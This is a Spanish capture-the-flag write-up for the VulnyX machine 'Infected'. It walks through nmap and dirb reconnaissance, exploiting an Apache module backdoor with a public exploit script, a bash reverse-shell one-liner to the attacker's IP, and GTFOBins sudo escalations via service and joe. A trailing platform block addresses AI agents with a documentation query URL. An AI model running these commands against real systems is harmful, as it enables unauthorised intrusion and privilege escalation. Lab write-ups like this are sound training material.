# Infected

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.72
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FTAnnXJwIJo2KgiWQt3Vq%2Fimage.png?alt=media&#x26;token=b00875b8-ca82-41bc-acb1-8494a8766a85" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.72 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fgqs39P2gTirgNb52T2Fs%2Fimage.png?alt=media&#x26;token=94b83d25-fe02-4e2c-8074-b84bcc2bdf0e" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.72
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FllDySoJUlylya2XVHwhI%2Fimage.png?alt=media&#x26;token=b7b7d6b0-84c7-4856-a133-d77acdf7c75a" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80 que es la página por defecto de Apache.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvEhiBIzUiqVVutYpdkOE%2FCaptura%20de%20pantalla%202025-01-31%20220259.png?alt=media&#x26;token=d1a77e4d-1517-4c50-b3c7-7f7b8ece57fd" alt=""><figcaption></figcaption></figure>

Revisamos directorios.

```bash
dirb http://192.168.1.72
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FlZhRkb0zPZW1t4ZaxZ9G%2Fimage.png?alt=media&#x26;token=d9e97e9b-b744-4103-ab3f-2a16c086d770" alt=""><figcaption></figcaption></figure>

Revisamos el **info.php**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FTpyGFLbtdAN8tj30gljR%2Fimage.png?alt=media&#x26;token=c6c841d3-0f7c-454b-b90e-cfcce7305981" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Revisando más a fondo encontramos que es un **Backdoor**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZCWBUwUmO1VTyLNVwhnb%2Fimage.png?alt=media&#x26;token=56146297-47b0-4d18-878f-e6b3df5097b7" alt=""><figcaption></figcaption></figure>

{% @github-files/github-code-block url="<https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor/blob/main/exploit.py>" %}

Ejecutamos.

```bash
./exploit.py 192.168.1.72 80
```

Lanzamos un RCE.

```bash
bash -c "bash -i >& /dev/tcp/192.168.1.65/443 0>&1"
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F3fdhHBRVrK3v6y8dYWFr%2Fimage.png?alt=media&#x26;token=9b44f7a0-0e88-4755-a764-48d7a5fc84da" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F9XAxGOK3uImdnFK8FbCY%2Fimage.png?alt=media&#x26;token=84d56f76-c29d-4f0b-89f7-622333db47f2" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQIhcslP28ayAVYbtvu1s%2Fimage.png?alt=media&#x26;token=b3d87a68-43c8-4c04-a502-23eb4d210618" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/service/#sudo>" %}

```bash
sudo -u laurent /usr/sbin/service ../../bin/sh
```

{% embed url="<https://gtfobins.github.io/gtfobins/joe/#sudo>" %}

```bash
sudo /usr/bin/joe
^K!/bin/bash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMyobFNR8fH4bv5Z2pGQE%2Fimage.png?alt=media&#x26;token=c99ab509-12ee-4f37-a213-0a0045a86433" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/vulnyx/infected.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
